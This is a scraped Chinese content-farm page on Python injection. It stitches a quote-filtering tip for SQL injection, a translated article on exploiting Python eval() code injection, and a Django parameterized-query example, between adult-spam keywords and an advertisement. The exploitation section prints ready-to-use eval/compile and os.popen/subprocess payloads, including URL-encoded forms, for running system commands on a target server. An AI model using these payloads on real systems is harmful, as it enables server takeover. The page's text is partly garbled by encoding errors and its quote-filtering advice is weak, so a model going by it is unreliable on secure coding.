欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

python防注入函數(shù) python 注入dll

python怎么防止sql注入

最簡(jiǎn)單最容易的是限制用戶(hù)輸入。簡(jiǎn)單點(diǎn)的就是不允許用戶(hù)輸入單引號(hào) 和 --,因?yàn)閱我?hào)號(hào)--在SQL中都是影響執(zhí)行的,兩種方式一種是在JSP中加判斷。

創(chuàng)新互聯(lián)是一家專(zhuān)業(yè)從事成都網(wǎng)站建設(shè)、網(wǎng)站建設(shè)、網(wǎng)頁(yè)設(shè)計(jì)的品牌網(wǎng)絡(luò)公司。如今是成都地區(qū)具影響力的網(wǎng)站設(shè)計(jì)公司,作為專(zhuān)業(yè)的成都網(wǎng)站建設(shè)公司,創(chuàng)新互聯(lián)依托強(qiáng)大的技術(shù)實(shí)力、以及多年的網(wǎng)站運(yùn)營(yíng)經(jīng)驗(yàn),為您提供專(zhuān)業(yè)的成都網(wǎng)站建設(shè)、營(yíng)銷(xiāo)型網(wǎng)站建設(shè)及網(wǎng)站設(shè)計(jì)開(kāi)發(fā)服務(wù)!

另一種是在SQL拼接是對(duì)單引號(hào)和--等進(jìn)行轉(zhuǎn)義,例如:str = str.replace("'", "''");

等等,還有其他很多方法。

如何使用python查找網(wǎng)站漏洞

如果你的Web應(yīng)用中存在Python代碼注入漏洞的話(huà),攻擊者就可以利用你的Web應(yīng)用來(lái)向你后臺(tái)服務(wù)器的Python解析器發(fā)送惡意Python代碼了。這也就意味著,如果你可以在目標(biāo)服務(wù)器中執(zhí)行Python代碼的話(huà),你就可以通過(guò)調(diào)用服務(wù)器的操作系統(tǒng)的指令來(lái)實(shí)施攻擊了。通過(guò)運(yùn)行操作系統(tǒng)命令,你不僅可以對(duì)那些可以訪(fǎng)問(wèn)到的文件進(jìn)行讀寫(xiě)操作,甚至還可以啟動(dòng)一個(gè)遠(yuǎn)程的交互式Shell(例如nc、Metasploit和Empire)。

為了復(fù)現(xiàn)這個(gè)漏洞,我在最近的一次外部滲透測(cè)試過(guò)程中曾嘗試去利用過(guò)這個(gè)漏洞。當(dāng)時(shí)我想在網(wǎng)上查找一些關(guān)于這個(gè)漏洞具體應(yīng)用方法的信息,但是并沒(méi)有找到太多有價(jià)值的內(nèi)容。在同事Charlie Worrell(@decidedlygray)的幫助下,我們成功地通過(guò)Burp POC實(shí)現(xiàn)了一個(gè)非交互式的shell,這也是我們這篇文章所要描述的內(nèi)容。

因?yàn)槌薖ython之外,還有很多其他的語(yǔ)言(例如Perl和Ruby)也有可能出現(xiàn)代碼注入問(wèn)題,因此Python代碼注入屬于服務(wù)器端代碼注入的一種。實(shí)際上,如果各位同學(xué)和我一樣是一名CWE的關(guān)注者,那么下面這兩個(gè)CWE也許可以給你提供一些有價(jià)值的參考內(nèi)容:

1. CWE-94:代碼生成控制不當(dāng)(‘代碼注入’)2. CWE-95:動(dòng)態(tài)代碼評(píng)估指令處理不當(dāng)(‘Eval注入’)漏洞利用

假設(shè)你現(xiàn)在使用Burp或者其他工具發(fā)現(xiàn)了一個(gè)Python注入漏洞,而此時(shí)的漏洞利用Payload又如下所示:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面這個(gè)Payload來(lái)在目標(biāo)主機(jī)中實(shí)現(xiàn)操作系統(tǒng)指令注入了:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實(shí)際上,你甚至都不需要使用for循環(huán),直接使用全局函數(shù)“__import__”就可以了。具體代碼如下所示:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實(shí)我們的Payload代碼還可以更加簡(jiǎn)潔,既然我們已經(jīng)將import和popen寫(xiě)在了一個(gè)表達(dá)式里面了,那么在大多數(shù)情況下,你甚至都不需要使用compile了。具體代碼如下所示:

__import__('os').popen('COMMAND').read()

為了將這個(gè)Payload發(fā)送給目標(biāo)Web應(yīng)用,你需要對(duì)其中的某些字符進(jìn)行URL編碼。為了節(jié)省大家的時(shí)間,我們?cè)谶@里已經(jīng)將上面所列出的Payload代碼編碼完成了,具體如下所示:

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來(lái),我們將會(huì)給大家介紹關(guān)于這個(gè)漏洞的細(xì)節(jié)內(nèi)容,并跟大家分享一個(gè)包含這個(gè)漏洞的Web應(yīng)用。在文章的結(jié)尾,我將會(huì)給大家演示一款工具,這款工具是我和我的同事Charlie共同編寫(xiě)的,它可以明顯降低你在利用這個(gè)漏洞時(shí)所花的時(shí)間。簡(jiǎn)而言之,這款工具就像sqlmap一樣,可以讓你快速找到SQL注入漏洞,不過(guò)這款工具仍在起步階段,感興趣的同學(xué)可以在項(xiàng)目的GitHub主頁(yè)[傳送門(mén)]中與我交流一下。

搭建一個(gè)包含漏洞的服務(wù)器

為了更好地給各位同學(xué)進(jìn)行演示,我專(zhuān)門(mén)創(chuàng)建了一個(gè)包含漏洞的Web應(yīng)用。如果你想要自己動(dòng)手嘗試?yán)眠@個(gè)漏洞的話(huà),你可以點(diǎn)擊這里獲取這份Web應(yīng)用。接下來(lái),我們要配置的就是Web應(yīng)用的運(yùn)行環(huán)境,即通過(guò)pip或者easy_install來(lái)安裝web.py。它可以作為一臺(tái)獨(dú)立的服務(wù)器運(yùn)行,或者你也可以將它加載至包含mod_wsgi模塊的Apache服務(wù)器中。相關(guān)操作指令如下所示:

git clone VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

當(dāng)你在網(wǎng)上搜索關(guān)于python的eval()函數(shù)時(shí),幾乎沒(méi)有文章會(huì)提醒你這個(gè)函數(shù)是非常不安全的,而eval()函數(shù)就是導(dǎo)致這個(gè)Python代碼注入漏洞的罪魁禍?zhǔn)住H绻阌龅搅讼旅孢@兩種情況,說(shuō)明你的Web應(yīng)用中存在這個(gè)漏洞:

1. Web應(yīng)用接受用戶(hù)輸入(例如GET/POST參數(shù),cookie值);2. Web應(yīng)用使用了一種不安全的方法來(lái)將用戶(hù)的輸入數(shù)據(jù)傳遞給eval()函數(shù)(沒(méi)有經(jīng)過(guò)安全審查,或者缺少安全保護(hù)機(jī)制);下圖所示的是一份包含漏洞的示例代碼:

\

大家可以看到,eval()函數(shù)是上述代碼中唯一一個(gè)存在問(wèn)題的地方。除此之外,如果開(kāi)發(fā)人員直接對(duì)用戶(hù)的輸入數(shù)據(jù)(序列化數(shù)據(jù))進(jìn)行拆封的話(huà),那么Web應(yīng)用中也將會(huì)出現(xiàn)這個(gè)漏洞。

不過(guò)需要注意的是,除了eval()函數(shù)之外,Python的exec()函數(shù)也有可能讓你的Web應(yīng)用中出現(xiàn)這個(gè)漏洞。而且據(jù)我所示,現(xiàn)在很多開(kāi)發(fā)人員都會(huì)在Web應(yīng)用中不規(guī)范地使用exec()函數(shù),所以這個(gè)問(wèn)題肯定會(huì)存在。

自動(dòng)掃描漏洞

為了告訴大家如何利用漏洞來(lái)實(shí)施攻擊,我通常會(huì)使用掃描器來(lái)發(fā)現(xiàn)一些我此前沒(méi)有見(jiàn)過(guò)的東西。找到之后,我再想辦法將毫無(wú)新意的PoC開(kāi)發(fā)成一個(gè)有意義的exploit。不過(guò)我想提醒大家的是,不要過(guò)度依賴(lài)掃描工具,因?yàn)檫€很多東西是掃描工具也找不到的。

這個(gè)漏洞也不例外,如果你在某個(gè)Web應(yīng)用中發(fā)現(xiàn)了這個(gè)漏洞,那么你肯定使用了某款自動(dòng)化的掃描工具,比如說(shuō)Burp Suite Pro。目前為止,如果不使用類(lèi)似Burp Suite Pro這樣的專(zhuān)業(yè)掃描工具,你幾乎是無(wú)法發(fā)現(xiàn)這個(gè)漏洞的。

當(dāng)你搭建好測(cè)試環(huán)境之后,啟動(dòng)并運(yùn)行包含漏洞的示例應(yīng)用。接下來(lái),使用Burp Suite Pro來(lái)對(duì)其進(jìn)行掃描。掃描結(jié)果如下圖所示:

\

下圖顯示的是Burp在掃描這個(gè)漏洞時(shí)所使用的Payload:

\

我們可以看到,Burp之所以要將這個(gè)Web應(yīng)用標(biāo)記為“Vulnerable”(包含漏洞的),是因?yàn)楫?dāng)它將這個(gè)Payload發(fā)送給目標(biāo)Web應(yīng)用之后,服務(wù)器的Python解析器休眠了20秒,響應(yīng)信息在20秒之后才成功返回。但我要提醒大家的是,這種基于時(shí)間的漏洞檢查機(jī)制通常會(huì)存在一定的誤報(bào)。

將PoC升級(jí)成漏洞利用代碼

使用time.sleep()來(lái)驗(yàn)證漏洞的存在的確是一種很好的方法。接下來(lái),為了執(zhí)行操作系統(tǒng)指令并接收相應(yīng)的輸出數(shù)據(jù),我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個(gè)函數(shù)。當(dāng)然了,應(yīng)該還有很多其他的函數(shù)同樣可以實(shí)現(xiàn)我們的目標(biāo)。

因?yàn)閑val()函數(shù)只能對(duì)表達(dá)式進(jìn)行處理,因此Burp Suite Pro的Payload在這里使用了compile()函數(shù),這是一種非常聰明的做法。當(dāng)然了,我們也可以使用其他的方法來(lái)實(shí)現(xiàn),例如使用全局函數(shù)“__import__”。關(guān)于這部分內(nèi)容請(qǐng)查閱參考資料:[參考資料1][參考資料2]

下面這個(gè)Payload應(yīng)該可以適用于絕大多數(shù)的場(chǎng)景:

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執(zhí)行一個(gè)或多個(gè)語(yǔ)句,那么你就需要使用eval()或者compile()函數(shù)了。實(shí)現(xiàn)代碼如下所示:

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測(cè)試過(guò)程中,有時(shí)全局函數(shù)“__import__”會(huì)不起作用。在這種情況下,我們就要使用for循環(huán)了。相關(guān)代碼如下所示:

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數(shù)是一個(gè)GET參數(shù),那么你就可以直接在瀏覽器中利用這個(gè)漏洞了:

\

請(qǐng)注意:雖然瀏覽器會(huì)幫你完成絕大部分的URL編碼工作,但是你仍然需要對(duì)分號(hào)(%3b)和空格(%20)進(jìn)行手動(dòng)編碼。除此之外,你也可以直接使用我們所開(kāi)發(fā)的工具。

如果是POST參數(shù)的話(huà),我建議各位直接使用類(lèi)似Burp Repeater這樣的工具。如下圖所示,我在subprocess.check_output()函數(shù)中一次性調(diào)用了多個(gè)系統(tǒng)命令,即pwd、ls、-al、whoami和ping。

\

\

漏洞利用工具-PyCodeInjectionShell

你可以直接訪(fǎng)問(wèn)PyCodeInjectionShell的GitHub主頁(yè)獲取工具源碼,我們也提供了相應(yīng)的工具使用指南。在你使用這款工具的過(guò)程中會(huì)感覺(jué)到,它跟sqlmap一樣使用起來(lái)非常的簡(jiǎn)單。除此之外,它的使用方法跟sqlmap基本相同。

【Python基礎(chǔ)】django如何防止sql注入?

python+Django 防止SQL注入

先看看那種容易被注入的SQL

id = 11001

sql = """

SELECT

id,

name,

age

FROM

student

WHERE

id = """+id+"""

"""

cursor = connection.cursor()

try:

cursor.execute(sql)

result = cursor.fetchall()

for result1 in result:

// 代碼塊

pass

finally:

cursor.close()

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

一般來(lái)說(shuō)寫(xiě)SQL語(yǔ)句在程序中,若有where條件一般都可能會(huì)去直接拼接,到那時(shí)這種方式容易被SQL注入,首先說(shuō)明下什么是SQL的注入,簡(jiǎn)單來(lái)說(shuō)就是你寫(xiě)的SQL被別人在頁(yè)面上拼接了SQL。比如拼接1=1這種條件,如果登錄接口被注入1=1那么就可以隨意進(jìn)入你的程序了。所以才要防止SQL的注入。

下面再來(lái)看看防止SQL的注入

id = 11001

params = []

sql = """

SELECT

id,

name,

age

FROM

student

WHERE

id = %s

"""

params.append(id)

cursor = connection.cursor()

try:

cursor.execute(sql, params)

result = cursor.fetchall()

for result1 in result:

// 代碼塊

pass

finally:

cursor.close()

我們把直接拼接的條件變量放入集合再把集合帶入執(zhí)行SQL的方法,就可以避免被注入的風(fēng)險(xiǎn),在SQL的條件中使用%s進(jìn)行站位,要注意的是這個(gè)%s是有順序的,比如說(shuō)上面這個(gè)SQL后面在跟一個(gè)條件name=%s那么下面的params集合也要多加一個(gè)元素params.append(name)這個(gè)時(shí)候name是在id后面的在集合中。這樣可以一一對(duì)應(yīng),但如果要是把params.append(name)寫(xiě)在了params.append(id)前面SQL執(zhí)行就會(huì)出現(xiàn)id=name and name = id 的條件就亂了,甚至還會(huì)報(bào)錯(cuò)。

使用connection完畢之后一定要記得close,connection是django.db中的,導(dǎo)入不要導(dǎo)入錯(cuò)了。

分享文章:python防注入函數(shù) python 注入dll
文章地址:http://chinadenli.net/article4/doedsie.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供Google標(biāo)簽優(yōu)化響應(yīng)式網(wǎng)站微信公眾號(hào)網(wǎng)站設(shè)計(jì)公司

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話(huà):028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

營(yíng)銷(xiāo)型網(wǎng)站建設(shè)